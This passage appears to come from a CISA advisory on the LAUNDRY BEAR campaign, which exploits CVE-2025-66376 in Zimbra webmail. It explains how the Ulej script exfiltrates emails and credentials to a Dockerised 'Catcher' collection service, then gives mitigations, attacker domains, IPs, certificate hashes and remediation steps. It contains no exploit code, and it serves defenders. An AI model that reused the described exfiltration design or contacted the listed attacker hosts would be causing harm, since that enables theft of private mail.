<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
